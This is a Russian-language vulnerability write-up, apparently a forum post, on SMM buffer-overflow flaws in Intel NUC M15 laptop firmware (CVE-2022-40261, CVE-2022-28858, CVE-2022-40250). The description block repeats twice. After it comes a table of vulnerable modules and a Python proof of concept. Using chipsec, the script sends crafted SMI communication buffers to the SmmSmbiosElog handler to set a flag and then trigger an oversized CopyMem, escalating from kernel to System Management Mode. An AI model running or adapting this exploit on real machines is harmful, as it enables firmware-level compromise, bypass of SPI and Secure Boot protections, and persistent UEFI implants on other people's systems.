CVE's: CVE-2022-40261 & INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
Уязвимая среда: Прошивка ноутбуков Intel NUC M15 (до BC0076), AMI Aptio 5.x
Вендор: Intel
Тип уязвимостей: LPE
1. CVE-2022-40261
CWE: CWE-119 (Классическое переполнение буффера)
Опасность (CVSS): 8.2
Описание: Атакующий может проэксплуатировать уязвимости для повышения привилегий с режима ядра (Kernel Mode/Ring 0) до режима SMM (System Management Mode, Ring -2). SMM - привилегированный режим, работающий в собственном контексте отдельно от работающей ОС (здесь не имеет смысла отмечать, какая именно ОС, бага ниже ядра). Выполняя произвольный код в SMM, атакующий может обойти защиту чипа SPI, что позволит ему установить вредоносный UEFI-драйвер, который будет запущен в DXE (Driver Execution Environment), а также обеспечивая перзистентность даже при переустановке ОС. Уязвимости также могут быть использованы для обхода механизмы защиты, предоставляемые UEFI, например Secure Boot.
2. INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
СWE: CWE-120 (Неправильное ограничение операций в пределах буфера памяти)
Опасность (CVSS): 7.8
Описание: Неправильное ограничение буфера в прошивке некоторых комплектов для ноутбуков Intel(R) NUC (до версии BC0076) может позволить привилегированному пользователю осуществить повышение привилегий.
Уязвимые модули:
PoC's:
CVE-2022-40261: Для CVE-2022-40261 на данный момент PoC не существует.
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250):
Уязвимая среда: Прошивка ноутбуков Intel NUC M15 (до BC0076), AMI Aptio 5.x
Вендор: Intel
Тип уязвимостей: LPE
1. CVE-2022-40261
CWE: CWE-119 (Классическое переполнение буффера)
Опасность (CVSS): 8.2
Описание: Атакующий может проэксплуатировать уязвимости для повышения привилегий с режима ядра (Kernel Mode/Ring 0) до режима SMM (System Management Mode, Ring -2). SMM - привилегированный режим, работающий в собственном контексте отдельно от работающей ОС (здесь не имеет смысла отмечать, какая именно ОС, бага ниже ядра). Выполняя произвольный код в SMM, атакующий может обойти защиту чипа SPI, что позволит ему установить вредоносный UEFI-драйвер, который будет запущен в DXE (Driver Execution Environment), а также обеспечивая перзистентность даже при переустановке ОС. Уязвимости также могут быть использованы для обхода механизмы защиты, предоставляемые UEFI, например Secure Boot.
2. INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
СWE: CWE-120 (Неправильное ограничение операций в пределах буфера памяти)
Опасность (CVSS): 7.8
Описание: Неправильное ограничение буфера в прошивке некоторых комплектов для ноутбуков Intel(R) NUC (до версии BC0076) может позволить привилегированному пользователю осуществить повышение привилегий.
Уязвимые модули:
CVE | Module name | SHA256 | Module GUID |
CVE-2022-40261 | OverClockSmiHandler | a204699576e1a48ce915d9d9423380c8e4c197003baf9d17e6504f0265f3039c | 4698C2BD-A903-410E-AD1F-5EEF3A1AE422 |
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250) | SmmSmbiosElog | 3a8acb4f9bddccb19ec3b22b22ad97963711550f76b27b606461cd5073a93b59 | 8e61fd6b-7a8b-404f-b83f-aa90a47cabdf |
CVE-2022-40261: Для CVE-2022-40261 на данный момент PoC не существует.
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250):
Python:
import os
import struct
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import ctypes
import chipsec
import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI
cs = chipsec.chipset.cs()
cs.init(None, True, True)
intr = Interrupts(cs)
uefi = UEFI(cs)
rtcode_start = 0x000000005A73B000 # from memmap
rtcode_end = 0x000000005A7FEFFF
AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID = "9c72f7fb-86b6-406f-b86e-f3809a86c138"
class CommBufferStructureCase4(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("Command", ctypes.c_uint64),
("Arg1", ctypes.c_uint64),
("Arg2", ctypes.c_uint64),
("Arg3", ctypes.c_uint64),
("StatusCode", ctypes.c_uint64),
]
class CommBufferStructureCase1(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("Command", ctypes.c_uint64), # 0x00
("Arg1", ctypes.c_uint64), # 0x08
("Arg2", ctypes.c_uint32), # 0x10
("Arg3", ctypes.c_uint8), # 0x14
("Undefined", ctypes.c_uint8 * 3),
("Arg4", ctypes.c_uint64), # 0x18
("Arg5", ctypes.c_uint64), # 0x20
("StatusCode", ctypes.c_uint64), # 0x28
]
def locate_smmc(rtcode_start, rtcode_end):
# locate SMM_CORE_PRIVATE_DATA
data = cs.helper.read_physical_mem(rtcode_start, rtcode_end - rtcode_start + 1)
smmc_offset = data.find(b"smmc")
smmc_loc = rtcode_start + smmc_offset
return smmc_loc
smmc_loc = locate_smmc(rtcode_start, rtcode_end)
def set_flag_api4():
# setup for communication buffer
payload_loc = 0x53000000
buffer_loc = payload_loc + 24 # CommBuffer address
arg2_addr = payload_loc + 64
arg3_addr = payload_loc + 65
cs.helper.write_physical_mem(arg2_addr, 8, struct.pack("<Q", 1))
buffer = CommBufferStructureCase4()
buffer.Command = 4
buffer.Arg1 = 0 # if ( Arg1 ) return EFI_NOT_FOUND
buffer.Arg2 = arg2_addr # FlagValue = *Arg2 == 1
buffer.Arg3 = arg3_addr # *Arg3 = FlagValue
buffer.StatusCode = -1
buffer_size = len(bytes(buffer))
print(f"Buffer before:")
hexdump.hexdump(bytes(buffer))
# trigger handler
ReturnStatus = intr.send_smmc_SMI(
smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
)
status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
print(f"Handler return status: {status}")
data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
print(f"Buffer after:")
hexdump.hexdump(data)
api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x20, 8)
api_status = struct.unpack("<Q", api_status_value)[0]
status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
print(f"API return status: {status}")
flag_value = cs.helper.read_physical_mem(arg3_addr, 1)
flag = struct.unpack("<B", flag_value)[0]
print(f"Flag value: {flag}")
def vuln_api1():
# setup for communication buffer
payload_loc = 0x53000000
buffer_loc = payload_loc + 24 # CommBuffer address
arg5_addr = payload_loc + 120
arg1_addr = payload_loc + 128
cs.helper.write_physical_mem(
arg1_addr, 1, struct.pack("<B", 0xE2)
) # if ( *Arg1 == 0xE2 )
cs.helper.write_physical_mem(
arg1_addr + 1, 1, struct.pack("<B", 0x81)
) # Value = *(Arg1 + 1)
buffer = CommBufferStructureCase1()
buffer.Command = 1
buffer.Arg1 = arg1_addr
buffer.Arg2 = 0 # if ( Arg2 ) return EFI_NOT_FOUND
buffer.Arg3 = 0 # any value
buffer.Arg4 = 1337 # CopyMem size param
buffer.Arg5 = arg5_addr
buffer.StatusCode = -1
buffer_size = len(bytes(buffer))
print(f"Buffer before:")
hexdump.hexdump(bytes(buffer))
# trigger handler
ReturnStatus = intr.send_smmc_SMI(
smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
)
status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
print(f"Handler return status: {status}")
data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
print(f"Buffer after:")
hexdump.hexdump(data)
api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x28, 8)
api_status = struct.unpack("<Q", api_status_value)[0]
status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
print(f"API return status: {status}")
if __name__ == "__main__":
set_flag_api4() # set gFlag
vuln_api1()